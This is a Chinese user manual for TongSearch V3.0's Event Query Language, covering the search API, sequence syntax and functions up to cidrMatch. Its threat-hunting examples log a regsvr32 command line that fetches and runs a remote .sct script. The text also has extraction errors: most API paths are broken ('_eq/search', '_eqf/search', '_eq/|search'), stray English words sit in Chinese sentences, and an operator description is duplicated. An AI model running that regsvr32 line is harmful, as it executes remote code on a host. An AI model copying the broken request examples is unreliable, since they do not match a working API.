



400-650-7088

***Tong*Search** V3.0

EQL 使用手册

版本：3061A01

2025年09月

声明

版权

Copyright ©2025北京东方通科技股份有限公司或其关联公司（以下简称“东方通”）。保留所有权利。

版权声明

- 本文档的所有权和知识产权归属于东方通所有。
- 除非另有明确约定，东方通不授予任何明示或暗示的许可或权利，使用者不得以任何方式将本文档中的任何内容用于商业目的。
- 东方通对本文档享有版权。本文档的所有内容，包括但不限于文字、图像、图表、图标、示意图、屏幕截图等，均受版权法和国际版权条约的保护。
- 未经东方通明确授权，任何人不得对本文档以任何形式复制、修改、传播、分发、展示或进行衍生创作。

商标声明

- **东方通**、**TongTech** 标识以及其他相关东方通图形、徽标、服务名称和商标（以下统称为“东方通商标”）是东方通或其关联公司的注册商标或商标。
- 未经东方通明确授权，任何人不得以任何方式使用、复制或展示东方通商标。此外，未经东方通事先书面同意，不得将东方通商标与其他商标、标识或徽标进行混淆、链接或结合使用。
- 除非另有明确约定，本商标声明不授予任何明示或暗示的许可或权利，对东方通商标的使用须获得东方通的明确授权。
- 本文档提及的所有其他商标、标识、徽标或产品名称均为其各自所有者的财产，并可能受其各自的商标法保护。

免责声明

请在使用东方通产品之前仔细阅读本免责声明，并根据自身情况判断是否继续使用。如有任何问题，请联系我们的客户支持团队。

- 本产品的使用是基于用户自己的判断和风险评估。本文档仅作为使用指导，不对使用本产品所产生的结果做任何明示或暗示的担保。
- 东方通不对用户未按照本文档中的指导正确使用东方通产品而导致的任何损失或损害承担责任；
- 本文档可能会包含第三方提供的内容、链接或资源，这些内容由第三方自行负责。东方通对于这些内容的准确性、完整性、合法性或可靠性不承担责任。用户在使用这些内容时应自行判断和承担风险。
- 由于产品版本升级或其他原因，本文档内容会不定期更新。东方通保留在不事先通知用户的情况下随时对文档进行修改、更新或中止的权利。

如需获取有关东方通产品的许可或使用权，请联系东方通或授权代理商。任何违反本声明的行为将受到适用法律的追究。

版本变更说明

本手册的更新是累积的。因此，最新的手册版本包含对以前版本所做的所有更改。

手册版本	适用产品	更新内容
3061A01	3.0.6.1	修改版权信息
3060A01	3.0.6.0	无
3040A01	3.0.4.0	无
3030A01	3.0.3.0	无
3020A01	3.0.2.0	无
3010A01	3.0.1.0	首次发版。

前言

本文档是 TongSearch 产品的用户手册之一，提供 TongSearch 产品的 EQL 语句使用说明。

阅读前注意事项

通过阅读本文档，您确认并同意自行承担因未具备必要专业背景 and 知识而导致的任何风险或后果。在使用本文档中提供的信息和指南时，请始终谨慎，并在必要时寻求专业人士建议和指导。

- 适用对象

本文档主要适用于使用本产品的系统管理员阅读，部分内容同样适用于基于本产品进行应用开发或应用部署的人员阅读。

- 专业背景

本文内容可能涉及到操作系统、服务器硬件、网络等相关领域的知识。请确保您具备相关背景 and 知识，以便更好地理解 and 应用本手册的内容。

- 技能要求

为了能够充分理解 and 应用本文档的内容，建议您具备如下技能：

- 基本系统管理任务
- 掌握 Linux 系统基本操作
- 在终端窗口发布命令
- 使用 Web 浏览器
- 安装软件

- 术语和概念

本文档可能使用一些专业术语和概念。请确保您熟悉这些术语和概念，或者有能力查阅相关资料以便进一步理解。

- 实践经验

为了最大程度地受益于本文档，建议您具备一定实践经验。这将帮助您更好地应用文档中的操作指南 and 建议。

请注意，本文档不适用于没有相关专业背景 and 知识的用户。如果您对本文档的内容 or 所需背景有任何疑问，请在使用之前咨询相关专业人士 or 寻求额外的支持。

用户手册集

TongSearch V3.0 为您提供的用户使用手册集包含的文档有：

编号	手册集文档	说明
1	000_TongSearch_V3.0产品白皮书	介绍了 TongSearch 的产品概述、产品功能、产品特色及产品小结。

编号	手册集文档	说明
2	001_TongSearch_V3.0产品介绍手册	介绍了 TongSearch 概述、功能、场景、基本概念等。
3	002_TongSearch_V3.0快速使用手册	介绍了如何快速上手 TongSearch。
4	003_TongSearch_V3.0产品安装手册	提供 TongSearch 常见场景的部署方式及示例程序使用说明。
5	004_TongSearch_V3.0集群管理手册	提供 TongSearch 集群搭建、灾备、升级说明。
6	005_TongSearch_V3.0DSL使用手册	提供 TongSearch 产品的 DSL 语句使用说明。
7	006_TongSearch_V3.0EQL使用手册	提供 TongSearch 产品的 EQL 语句使用说明。
8	007_TongSearch_V3.0SQL使用手册	提供 TongSearch 产品的 SQL 语句使用说明。
9	008_TongSearch_V3.0脚本使用手册	提供命令行工具的使用说明，所有命令行工具的功能说明、相关参数、实例及验证方法。
10	009_TongSearch_V3.0聚合使用手册	介绍了如何使用聚合语句操作 TongSearch 中存储的数据。
11	010_TongSearch_V3.0REST API 手册	提供了通过 HTTP 公开的 REST API。
12	011_TongSearch_V3.0Java SDK 手册	提供基于 Java 语言的客户端使您能够轻松的访问 TongSearch 的 API。
13	012_TongSearch_V3.0工具使用手册	介绍了 TongSearch 提供的各种脚本工具使用说明。
14	013_TongSearch_V3.0数据迁移手册	提供 Elasticsearch 中存储的数据向 TongSearch 迁移的方案。
15	014_TongSearch_V3.0安全管理手册	提供 TongSearch 安全特性使您能够轻松保护集群。
16	015_TongSearch_V3.0性能优化手册	介绍了在使用 TongSearch 过程中的写优化、读优化、服务器配置优化、数据结构优化以及集群架构优化建议。
17	016_TongSearch_V3.0监控告警手册	提供了 Prometheus、Alertmanager 以及 Grafana 结合使用对 TongSearch 进行监控的说明。
18	017_TongSearch_V3.0常见问题手册	提供使用 TongSearch 过程中遇到的常见问题及解决方案。

编号	手册集文档	说明
19	018_TongSearch_V3.0控制台使用手册	提供管理和监视 TongSearch 集群的用户界面，旨在简化 TongSearch 的配置、维护和监控。
20	019_TongSearch_V3.0TongPipeline使用手册	提供 TongPipeline 详细的使用说明，帮助用户快速上手 TongPipeline 并深入了解其各项功能。
21	020_TongSearch_V3.0插件使用手册	提供 TongSearch 插件详细的使用说明。

技术支持

东方通产品将为您提供全方位的技术支持，您可以通过以下方式获得技术支持：

- 网址：www.tongtech.com
- 电话：400-650-7088
- 邮箱：support@tongtech.com

您在取得技术支持时，需提供如下信息：

- 您的姓名
- 您的公司信息
- 您的联系方式
- 操作系统及其版本
- 产品版本号
- 日志等错误的详细信息

目录

声明	1
版本变更说明	2
前言	3
1. 事件查询语言	8
1.1. EQL 查询用法	8
1.2. 搜索事件序列	10
1.3. 指定时间戳或事件类别字段	14
1.4. 排序	15
1.5. 使用 DSL 过滤	15
1.6. 运行一个异步 EQL 搜索	16
1.7. 改变搜索保存期	17
1.8. 存储同步 EQL 搜索	17
2. EQL 语法	19
2.1. 基本语法	19
2.2. 事件分类	19
2.3. 匹配任意事件类别	19
2.4. 转义事件类别	19
2.5. 转义字段名	19
2.6. 查询条件	20
2.6.1. 比较运算符	20
2.6.2. 逻辑运算符	21
2.6.3. 查找操作符	21
2.6.4. 数字操作符	22
2.6.5. 匹配任何条件	22
2.7. 字符串	22
2.8. 转义字符串中的字符	22
2.9. 原始字符串	23
2.10. 序列	23
2.11. with maxspan 关键字	23
2.12. by 关键字	24
2.13. until 关键字	25
3. EQL 函数	26
3.1. add 函数	26
3.2. between 函数	26
3.3. cidrMatch 函数	28
3.4. concat 函数	29

- 3.5. divide 函数 30
- 3.6. endsWith 函数 31
- 3.7. indexOf 函数 32
- 3.8. length 函数 33
- 3.9. modulo 函数 34
- 3.10. multiply 函数 35
- 3.11. number 函数 36
- 3.12. startsWith 函数 37
- 3.13. string 函数 38
- 3.14. stringContains 函数 38
- 3.15. substring 函数 39
- 3.16. subtract 函数 40
- 3.17. wildcard 函数 41
- 4. 管道 pipe 操作 43**
 - 4.1. head 43
- 5. EQL 检测威胁 44**
 - 5.1. 准备数据 44
 - 5.2. 获取 regsvr32 事件的计数 44
 - 5.3. 检查命令行参数 45
 - 5.4. 检测恶意脚本加载 46
 - 5.5. 确定成功的可能性 47

1. 事件查询语言

EQL 的全名是 Event Query Language (EQL)。事件查询语言 (EQL) 是一种用于基于事件的时间序列数据（例如日志，指标和跟踪）的查询语言。

EQL 的优点：

- EQL 可以帮助您表达事件之间的关系。

许多查询语言允许您匹配单个事件。EQL 可以帮助您匹配不同事件类别和时间跨度的一系列事件。

- EQL 的学习曲线很低。

EQL 语法看起来像其他常见查询语言，例如 SQL。EQL 可以帮助您直观地编写和读取查询，从而可以进行快速，迭代的搜索。

- EQL 设计用于安全用例。

尽管可以将其用于任何基于事件的数据，但仍创建了 EQL 来进行威胁搜寻。EQL 不仅支持危害指标 (IOC) 搜索，而且可以描述超出 IOC 范围的活动。

要运行 EQL 搜索，搜索到的数据流或索引必须包含时间戳和事件类别字段。默认情况下，EQL 使用通用模式 (ECS) 中的 @timestamp 和 event.category 字段。

1.1. EQL 查询用法

使用 EQL 搜索 API 运行基本的 EQL 查询。

```
GET /my-index-000001/_eq/search
{
  "query": ""
  process where process.name == "regsvr32.exe"
  ""
}
```

默认情况下，基本 EQL 查询在 hits.events 属性中返回最近的 10 个匹配事件。这些命中按时间戳排序，以毫秒为单位递增。

```
{
  "is_partial": false,
  "is_running": false,
  "took": 60,
  "timed_out": false,
  "hits": {
    "total": {
      "value": 2,
      "relation": "eq"
    },
  },
}
```

```
"events": [
  {
    "_index": "my-index-000001",
    "_id": "OQmfCaduce8zoHT93o4H",
    "_source": {
      "@timestamp": "2099-12-07T11:07:09.000Z",
      "event": {
        "category": "process",
        "id": "aR3NWVOs",
        "sequence": 4
      },
      "process": {
        "pid": 2012,
        "name": "regsvr32.exe",
        "command_line": "regsvr32.exe /s /u /i:https://...RegSvr32.sct scrobj.dll",
        "executable": "C:\\Windows\\System32\\regsvr32.exe"
      }
    }
  },
  {
    "_index": "my-index-000001",
    "_id": "xLkCaj4EujzdNSxfYLB0",
    "_source": {
      "@timestamp": "2099-12-07T11:07:10.000Z",
      "event": {
        "category": "process",
        "id": "GTsmSggz0U",
        "sequence": 6,
        "type": "termination"
      },
      "process": {
        "pid": 2012,
        "name": "regsvr32.exe",
        "executable": "C:\\Windows\\System32\\regsvr32.exe"
      }
    }
  }
]
```

使用 size 参数可以获取较小或较大的匹配:

```
GET /my-index-000001/_eqf/search
{
```

```
"query": ""
process where process.name == "regsvr32.exe"
""
,
"size": 50
}
```

使用 filter_path 查询参数过滤 API 响应。例如：下面的搜索只返回每个匹配事件的时间戳和 PID。

```
GET /my-index-000001/_eq/search?filter_path=hits.events._source.@timestamp,hits.events._source.process.pid
{
  "query": ""
  process where process.name == "regsvr32.exe"
  ""
}
```

返回结果，如下所示。

```
{
  "hits": {
    "events": [
      {
        "_source": {
          "@timestamp": "2099-12-07T11:07:09.000Z",
          "process": {
            "pid": 2012
          }
        }
      },
      {
        "_source": {
          "@timestamp": "2099-12-07T11:07:10.000Z",
          "process": {
            "pid": 2012
          }
        }
      }
    ]
  }
}
```

1.2. 搜索事件序列

使用 EQL 的 sequence 语法搜索一系列有序的事件。按时间升序列出事件项，最近的事件列在最后：

```
GET /my-index-000001/_eq/search
{
```

```
"query": ""
sequence
[ process where process.name == "regsvr32.exe" ]
[ file where stringContains(file.name, "scrobj.dll" )
""
}
```

在 hits.sequences 属性中，返回匹配序列的。

```
{
  "is_partial": false,
  "is_running": false,
  "took": 60,
  "timed_out": false,
  "hits": {
    "total": {
      "value": 1,
      "relation": "eq"
    },
    "sequences": [
      {
        "events": [
          {
            "_index": "my-index-000001",
            "_id": "OQmfCaduce8zoHT93o4H",
            "_source": {
              "@timestamp": "2099-12-07T11:07:09.000Z",
              "event": {
                "category": "process",
                "id": "aR3NWVOs",
                "sequence": 4
              },
            },
            "process": {
              "pid": 2012,
              "name": "regsvr32.exe",
              "command_line": "regsvr32.exe /s /u /i:https://...RegSvr32.sct scrobj.dll",
              "executable": "C:\\Windows\\System32\\regsvr32.exe"
            }
          },
          {
            "_index": "my-index-000001",
            "_id": "yDwnGIJouOYGBzP0ZE9n",
            "_source": {
              "@timestamp": "2099-12-07T11:07:10.000Z",
```

```

    "event": {
      "category": "file",
      "id": "tZ1NWVOs",
      "sequence": 5
    },
    "process": {
      "pid": 2012,
      "name": "regsvr32.exe",
      "executable": "C:\\Windows\\System32\\regsvr32.exe"
    },
    "file": {
      "path": "C:\\Windows\\System32\\scrobj.dll",
      "name": "scrobj.dll"
    }
  }
]
}
]
}
}

```

使用 with maxspan 关键字将匹配序列约束为 timespan:

```

GET /my-index-000001/_eq/search
{
  "query": ""
  sequence with maxspan=1h
  [ process where process.name == "regsvr32.exe" ]
  [ file where stringContains(file.name, "scrobj.dll") ]
  ""
}

```

使用 by 关键字匹配具有相同字段值的事件（相当于分组）：

```

GET /my-index-000001/_eq/search
{
  "query": ""
  sequence with maxspan=1h
  [ process where process.name == "regsvr32.exe" ] by process.pid
  [ file where stringContains(file.name, "scrobj.dll") ] by process.pid
  ""
}

```

如果某个字段的值需要在所有事件中共享，可以使用 sequence by 关键字。下面的查询与前一个查询等价。

```
GET /my-index-000001/_eq/search
{
  "query": ""
  sequence by process.pid with maxspan=1h
  [ process where process.name == "regsvr32.exe" ]
  [ file where stringContains(file.name, "scrobj.dll") ]
  ""
}
```

hits.sequences.join_keys 属性包含共享字段值。

```
{
  "is_partial": false,
  "is_running": false,
  "took": 60,
  "timed_out": false,
  "hits": {
    "total": {
      "value": 1,
      "relation": "eq"
    },
    "sequences": [
      {
        "join_keys": [
          2012
        ],
        "events": [
          {
            "_index": "my-index-000001",
            "_id": "OQmfCaduce8zoHT93o4H",
            "_source": {
              "@timestamp": "2099-12-07T11:07:09.000Z",
              "event": {
                "category": "process",
                "id": "aR3NWVOs",
                "sequence": 4
              },
              "process": {
                "pid": 2012,
                "name": "regsvr32.exe",
                "command_line": "regsvr32.exe /s /u /i:https://...RegSvr32.sct scrobj.dll",
                "executable": "C:\\Windows\\System32\\regsvr32.exe"
              }
            }
          }
        ]
      }
    ]
  },
}
```

```
{
  "_index": "my-index-000001",
  "_id": "yDwnGIJouOYGBzP0ZE9n",
  "_source": {
    "@timestamp": "2099-12-07T11:07:10.000Z",
    "event": {
      "category": "file",
      "id": "tZ1NWVOs",
      "sequence": 5
    },
    "process": {
      "pid": 2012,
      "name": "regsvr32.exe",
      "executable": "C:\\Windows\\System32\\regsvr32.exe"
    },
    "file": {
      "path": "C:\\Windows\\System32\\scrobj.dll",
      "name": "scrobj.dll"
    }
  }
}
```

使用直到关键字指定过期事件序列。匹配序列必须结束在这一事件之前。

```
GET /my-index-000001/_eq/|search
{
  "query": ""
  sequence by process.pid with maxspan=1h
  [ process where process.name == "regsvr32.exe" ]
  [ file where stringContains(file.name, "scrobj.dll") ]
  until [ process where event.type == "termination" ]
  ""
}
```

1.3. 指定时间戳或事件类别字段

EQL 搜索 API 使用 @timestamp 和事件。

默认情况下，从 ECS 中分类字段。要指定不同的字段，可以使用 timestamp_field 和 event_category_field 参数：

```
GET /my-index-000001/_eq/search
{
  "timestamp_field": "file.accessed",
  "event_category_field": "file.type",
  "query": ""
  file where (file.size > 1 and file.type == "file")
  ""
}
```

事件类别字段必须映射为关键字族字段类型。时间戳字段应该映射为日期字段类型。

不支持 Date_nanos 时间戳字段。不能使用嵌套字段或嵌套字段的子字段作为时间戳或事件类别字段。

1.4. 排序

默认情况下，EQL 搜索 API 按时间戳返回匹配的命中。

如果两个或多个事件共享相同的时间戳，TongSearch 使用 tiebreaker 字段值对事件进行升序排序。TongSearch 在有值的事件之后排序没有 tiebreaker 值的事件。

如果没有指定 tiebreaker 字段，或者事件共享相同的 tiebreaker 值，TongSearch 认为事件是并发的。并发事件不能属于同一个序列，并且不能以一致的排序顺序返回。

要指定 tiebreaker 字段，可以使用 tiebreaker_field 参数。

```
GET /my-index-000001/_eq/search
{
  "tiebreaker_field": "event.sequence",
  "query": ""
  process where process.name == "cmd.exe" and stringContains(process.executable, "System32")
  ""
}
```

1.5. 使用 DSL 过滤

使用 DSL 查询的 filter 参数来限制一个 EQL 查询的结果。

```
GET /my-index-000001/_eq/search
{
  "filter": {
    "range": {
      "file.size": {
        "gte": 1,
        "lte": 1000000
      }
    }
  }
}
```



```

},
"query": ""
  file where (file.type == "file" and file.name == "cmd.exe")
""
}

```

1.6. 运行一个异步 EQL 搜索

默认情况下，EQL 搜索请求是同步的，并在返回响应之前等待完整的结果。然而，对于大型数据集或冻结的索引，完整的结果可能需要更长时间。

为了避免长时间等待，请运行异步 EQL 搜索。wait_for_completion_timeout 参数设置为等待同步结果的时间。

```

GET /frozen-my-index-000001/_eq/search
{
  "wait_for_completion_timeout": "2s",
  "query": ""
    process where process.name == "cmd.exe"
  ""
}

```

如果请求没有在超时时间内完成，搜索就会变成异步的，并返回包含以下内容的响应：

- 一个 search ID。
- is_partial 值是 true，表示搜索结果是不完整的。
- is_running 值是 true，表示搜索正在进行中。

异步搜索继续在后台运行，不会阻塞其他请求。

```

{
  "id": "FmNJRUZ1YWZCU3dHY1BIOUhaenVSRkEaaXFIZ3h4c1RTWFnocDdnY2FSaERnUTozNDE=",
  "is_partial": true,
  "is_running": true,
  "took": 2000,
  "timed_out": false,
  "hits": ...
}

```

要检查异步搜索的进度，使用带有搜索 ID 的 get async EQL 搜索 API。

在 wait_for_completion_timeout 参数中指定完成结果所需的时间。如果启用了 TongSearch 的安全特性，只有首次提交 EQL 搜索的用户可以使用此 API 检索搜索。

```

GET
/_eq/search/FmNJRUZ1YWZCU3dHY1BIOUhaenVSRkEaaXFIZ3h4c1RTWFnocDdnY2FSaERnUTozNDE=?wait_for_completion_timeout=2s

```

- 若响应的 is_running 值为 false，则异步搜索已经完成。
- 若 is_partial 值为 false，则返回的搜索结果是完整的。

```
{
  "id": "FmNJRUZ1YWZCU3dHY1BIOUhaenVSRkEaaXFIZ3h4c1RTWFnocDdnY2FSaERnUTozNDE=",
  "is_partial": false,
  "is_running": false,
  "took": 2000,
  "timed_out": false,
  "hits": ...
}
```

1.7. 改变搜索保存期

默认情况下，EQL 搜索 API 存储异步搜索五天。在此期间之后，任何搜索及其结果都将被删除。使用 keep_alive 参数可以改变这个保留周期：

```
GET /my-index-000001/_eq/search{
  "keep_alive": "2d",
  "wait_for_completion_timeout": "2s",
  "query": ""
  process where process.name == "cmd.exe"
  ""
}
```

您可以使用 get async EQL 搜索 API 的 keep_alive 参数来更改保留周期。新的保留期在 get 请求运行后开始。

```
GET
/_eq/search/FmNJRUZ1YWZCU3dHY1BIOUhaenVSRkEaaXFIZ3h4c1RTWFnocDdnY2FSaERnUTozNDE=?keep_alive=5d
```

使用 delete async EQL search API 在 keep_alive 周期结束前手动删除异步 EQL 搜索。

如果搜索仍在进行中，TongSearch 会取消搜索请求。如果启用了 TongSearch 的安全特性，只有首次提交 EQL 搜索的用户可以使用此 API 删除搜索。

```
DELETE
/_eq/search/FmNJRUZ1YWZCU3dHY1BIOUhaenVSRkEaaXFIZ3h4c1RTWFnocDdnY2FSaERnUTozNDE=
```

1.8. 存储同步 EQL 搜索

默认情况下，EQL 搜索 API 只存储异步搜索。要保存同步搜索，请将 keep_on_completion 设置为 true：

```
GET /my-index-000001/_eq/search
{
```

```
"keep_on_completion": true,
"wait_for_completion_timeout": "2s",
"query": ""
  process where process.name == "cmd.exe"
""
}
```

响应中包含一个搜索 ID。is_partial 和 is_running 为 false，表示 EQL 搜索是同步的，并返回完整的结果。

```
{
  "id": "FjlmbndxNmJjU0RPdExBTGg0eINOEEaQk9xSjJBQzBRMldZa1VVQ2pPa01YUToxMDY=",
  "is_partial": false,
  "is_running": false,
  "took": 52,
  "timed_out": false,
  "hits": ...
}
```

稍后使用 get async EQL 搜索 API 可以得到相同的结果：

```
GET /_eq/!search/FjlmbndxNmJjU0RPdExBTGg0eINOEEaQk9xSjJBQzBRMldZa1VVQ2pPa01YUToxMDY=
```

保存的同步搜索仍然受到 keep_alive 参数的保留周期的影响。当这段时间结束时，搜索及其结果将被删除。

2. EQL 语法

2.1. 基本语法

EQL 查询需要一个事件类别和一个匹配条件。where 关键字连接它们。

```
event_category where condition
```

例如，下面的 EQL 查询将匹配 process 事件，条件是 process.name 字段值为 svchost.exe 的事件。

```
process where process.name == "svchost.exe"
```

2.2. 事件分类

事件类别是事件类别字段的有效索引值。您可以使用 EQL 搜索 API 的 event_category_field 参数设置事件类别字段。

2.3. 匹配任意事件类别

要匹配任意类别的事件，请使用 any 关键字。也可以使用 any 关键字搜索没有事件类别字段的文档。

例如，下面的 EQL 查询匹配具有网络协议字段是 http 值的任何文档。

```
any where network.protocol == "http"
```

2.4. 转义事件类别

使用双引号(")或三引号('')转义下列事件类别：

- 包含特殊字符，如“-”或者“.”。
- 包含一个空格
- 数字开始

```
".my.event.category"
"my-event-category"
"my event category"
"6eventcategory"
""".my.event.category"""
""""my-event-category""""
""""my event category""""
""""6eventcategory""""
```

2.5. 转义字段名

使用封闭反引号(`)对下列字段名称进行转义:

- 包含特殊字符“-”。
- 包含一个空格。
- 数字开始。

```
`my-field`
`my field`
`6myfield`
```

使用双反引号(``)对字段名称中的反引号(`)进行转义。

```
my`field -> `my``field`
```

2.6. 查询条件

条件由事件必须匹配的一个或多个条件组成。可以使用下列操作符指定和组合这些条件。大多数 EQL 操作符默认是区分大小写的。

2.6.1. 比较运算符

运算符	说明
< (小于)	如果运算符左边的值小于右边的值，返回 true。否则返回 false。
< = (小于等于)	如果运算符左边的值小于或等于右边的值，返回 true。否则返回 false。
== (等于，大小写敏感)	如果运算符左边和右边的值相等，返回 true。否则返回 false。对于字符串，匹配是区分大小写的。
: (等于，大小写不敏感)	如果运算符左边和右边的字符串相等，返回 true。否则返回 false。匹配不区分大小写，只能用于比较字符串。
!= (不等于，大小写敏感)	如果运算符左边和右边的值不相等，返回 true。否则返回 false。对于字符串，匹配是区分大小写的。
>= (大于等于)	如果运算符左边的值大于等于右边的值，返回 true。否则返回 false。在比较字符串时，运算符使用区分大小写的。

运算符	说明
> (大于)	如果运算符左边的值大于等于右边的值，返回 true。 如果运算符左边的值大于右边的值，返回 true，否则返回 false。 在比较字符串时，运算符使用区分大小写的，否则返回 false。在比较字符串时，运算符使用区分大小写的。 不能链式比较运算符。相反，在比较之间使用逻辑运算符。例如，不支持 <code>foo < bar <= baz</code>。但是，您可以将表达式重写为 <code>foo < bar and bar <= baz</code>，这是支持的。 也不能使用比较运算符来比较两个字段。即使使用函数修改字段，也会发生这种情况。

示例说明：

下面的 EQL 查询比较了这个 `process.parent_name` 字段值的静态值“foo”。支持这种比较。

但是，这个查询也比較了 `process.parent.name` 字段的值和 `process.name` 字段的值。不支持这种比较，整个查询将返回错误。

```
process where process.parent.name == "foo" and process.parent.name == process.name
```

相反，您可以重写这个查询，将 `process.parent.name` 和 `process.name` 字段与静态值进行比较。

```
process where process.parent.name == "foo" and process.name == "foo"
```

2.6.2. 逻辑运算符

运算符	说明
and	仅当左边和右边的条件都返回 true 时，返回 true；否则返回 false。
or	若左边或右边的条件之一为真，则返回 true；否则返回 false。
not	若右边的条件为 false，则返回 true。

2.6.3. 查找操作符

```
user.name in ("Administrator", "SYSTEM", "NETWORK SERVICE")
user.name not in ("Administrator", "SYSTEM", "NETWORK SERVICE")
```

运算符	说明
in (大小写敏感)	若提供的列表中包含该值，则返回 true。对于字符串，匹配是区分大小写的。

运算符	说明
not in (大小写敏感)	若提供的列表中不包含该值，则返回 true。对于字符串，匹配是区分大小写的。

2.6.4. 数字操作符

操作符	说明
+(加)	分别在运算符的左侧和右侧添加值。
-(减)	从运算符左侧的值减去右侧的值。
*(乘)	分别在运算符的左边和右边乘以两个值。
/(除)	将运算符左侧的值除以右侧的值。
% (取模)	将运算符左侧的值除以右侧的值。只返回余数。

2.6.5. 匹配任何条件

若要仅根据事件类别匹配事件，请使用 where true 条件。

例如：下面的 EQL 查询匹配任何文件事件：

```
file where true
```

为了匹配任何事件，可以组合关键字 any 与 where true 条件。

```
any where true
```

2.7. 字符串

字符串包含在双引号(")。

```
"hello world"
```

不支持用单引号(')括起来的字符串。

2.8. 转义字符串中的字符

在字符串中使用特殊字符时，如回车或双引号(")，必须用前面的反斜杠(\)转义。

```
"example \r of \" escaped \n characters"
```

- \n：换行符(换行符)。
- \r：一个回车符。

- \t：制表符。
- \\：反斜杠(\)字符。
- \"：双引号字符。

2.9. 原始字符串

原始字符串将特殊字符(如反斜杠(\))视为字符字面量。原始字符串包含在三个双引号(""")中。

```
"""Raw string with a literal double quote " and backslash \ included"""
```

原始字符串不能包含三个连续的双引号(""")。相反，应该使用带有\"转义序列的普通字符串。

```
"String containing \"\"\" three double quotes"
```

2.10. 序列

您可以使用 EQL 序列来描述和匹配有序的事件序列。序列中的每一项都是一个事件类别和事件条件，用方括号([])括起来。

事件按时间升序排列，最近的事件排在最后。

```
sequence
[ event_category_1 where condition_1 ]
[ event_category_2 where condition_2 ]
...
```

示例说明

下面的 EQL 序列查询匹配这一系列有序事件：

1. 开始一个事件，条件如下所示。

file 的事件类别，file.extension 的值是“exe”。

2. 后面是事件类别为 process 的事件。

```
sequence
[ file where file.extension == "exe" ]
[ process where true ]
```

2.11. with maxspan 关键字

可以使用 with maxspan 关键字将序列约束为指定的时间跨度。匹配序列中的所有事件都必须在此持续时间内发生，从第一个事件的时间戳开始。

maxspan 关键字接受时间值参数。

```
sequence with maxspan=30s
```



```
[ event_category_1 where condition_1 ] by field_baz
[ event_category_2 where condition_2 ] by field_bar
...
```

下面的序列查询使用 maxspan 值 15m(15分钟)。匹配序列中的事件必须在第一个事件时间戳的 15 分钟内发生。

```
sequence with maxspan=15m
[ file where file.extension == "exe" ]
[ process where true ]
```

2.12. by 关键字

对于序列，可以使用 by 关键字来匹配具有相同字段值的事件。如果一个字段的值应该在所有事件中共享，可以使用 sequence by。

```
sequence by field_foo
[ event_category_1 where condition_1 ] by field_baz
[ event_category_2 where condition_2 ] by field_bar
...
```

下面的序列查询使用 by 关键字将匹配的事件约束为：

- 具有相同的 user.name 的值。
- file 事件的 file.path 的值等于 process 事件的 process.path 的值。

```
sequence
[ file where file.extension == "exe" ] by user.name, file.path
[ process where true ] by user.name, process.path
```

因为 user.name 字段在序列中的所有事件中共享，所以可以使用 sequence by 包含它。下面的序列等价于前面的序列。

```
sequence by user.name
[ file where file.extension == "exe" ] by file.path
[ process where true ] by process.path
```

可以将 sequence by 和 with maxspan 关键字结合起来，通过字段值和 timespan 来约束序列。

```
sequence by field_foo with maxspan=30s
[ event_category_1 where condition_1 ] by field_baz
[ event_category_2 where condition_2 ] by field_bar
...
```

示例说明

下面的序列查询使用 sequence by 关键字和 with maxspan 关键字只匹配一系列事件：

- 共享相同的 user.name 字段值。
- 在第一个匹配项目的 15M(15分钟) 内发生。
- 第一个事件的 file.path 值和第二个事件 process.path 值相等。

```
sequence by user.name with maxspan=15m
[ file where file.extension == "exe" ] by file.path
[ process where true ] by process.path
```

2.13. until 关键字

可以使用 until 关键字为序列指定过期事件。若此过期事件发生在序列中匹配的事件之间，则序列到期，不认为是匹配的。

若过期事件发生在序列中匹配事件之后，则该序列仍然被认为是匹配的。过期事件没有包含在结果中。

```
sequence
[ event_category_1 where condition_1 ]
[ event_category_2 where condition_2 ]
...until [ event_category_3 where condition_3 ]
```

示例说明

一个数据集包含以下事件序列，按共享的 id 分组：

```
A, B
A, B, C
A, C, B
```

下面的 EQL 查询在数据集中搜索包含事件 A 和事件 B 的序列，事件 C 用作过期事件。

```
sequence by ID
A
B
until C
```

该查询匹配序列 A、B 和 A、B、C，但不会匹配 A、C、B。

3. EQL 函数

TongSearch 支持以下 EQL 功能。大多数 EQL 函数默认是区分大小写的。

3.1. add 函数

返回提供的两个加数的和。

语法

```
add(<addend>, <addend>)
```

参数

参数	说明
<addend>	• (必填，整型、浮点型或 null)加到相加。若为 null，函数返回 null。 • 需要两个加数。加数不能超过两个。 • 若使用字段作为参数，则此参数仅支持数值字段数据类型。

返回

整数、浮点数或 null

示例

```
add(4, 5)                // returns 9
add(4, 0.5)              // returns 4.5
add(0.5, 0.25)          // returns 0.75
add(4, -2)               // returns 2
add(-2, -2)              // returns -4

// process.args_count = 4
add(process.args_count, 5)           // returns 9
add(process.args_count, 0.5)         // returns 4.5

// process.parent.args_count = 2
add(process.args_count, process.parent.args_count) // returns 6

// null handling
add(null, 4)                // returns null
add(4, null)                // returns null
add(null, process.args_count) // returns null
add(process.args_count null) // returns null
```

3.2. between 函数

提取位于源字符串中提供的左右文本之间的子字符串。匹配是区分大小写的。

语法

```
between(<source>, <left>, <right>[, <greedy_matching>])
```

参数

参数	说明
<source>	(必填，字符串或 null)源字符串。空字符串返回空字符串(""), 不管参数<left>或<right>。 - 若为 null，则返回 null。 - 若使用字段作为参数，则此参数只支持以下字段数据类型： - keyword 类型。 - 带有 keyword 子字段的文本字段。
<left>	(必填，string) 要提取的子字符串左侧的文本。本文应包括空格。 若使用字段作为参数，则此参数只支持以下字段数据类型： - keyword 类型。 - 带有 keyword 子字段的文本字段。
<right>	(必填，string)要提取的子字符串右侧的文本。这个文本应该包含空白。 若使用字段作为参数，则此参数只支持以下字段数据类型： - keyword 类型。 - 带有 keyword 子字段的文本字段。
<greedy_matching>	(可选，布尔值) 若为“true”，匹配最长的可能子串。 若为“false”，则匹配尽可能短的子串。默认为“false”。

返回

字符串或者 null。

示例

```
// file.path = "C:\\Windows\\System32\\cmd.exe"
between(file.path, "system32\\", ".exe") // returns "cmd"
between(file.path, "workspace\\", ".exe") // returns ""

// Greedy matching defaults to false.
between(file.path, "\\ ", "\\ ", false) // returns "Windows"

// Sets greedy matching to true
between(file.path, "\\ ", "\\ ", true) // returns "Windows\\System32"
```

```
// empty source string
between("", "system32\\\\" ".exe")    // returns ""
between("", "", "")                    // returns ""

// null handling
between(null, "system32\\\\" ".exe")   // returns null
```

3.3. cidrMatch 函数

若 IP 地址包含在一个或多个提供的 CIDR 块中，则返回 “true”。

语法

```
`cidrMatch(<ip_address>, <cidr_block>[, ...])`
```

参数

参数	说明
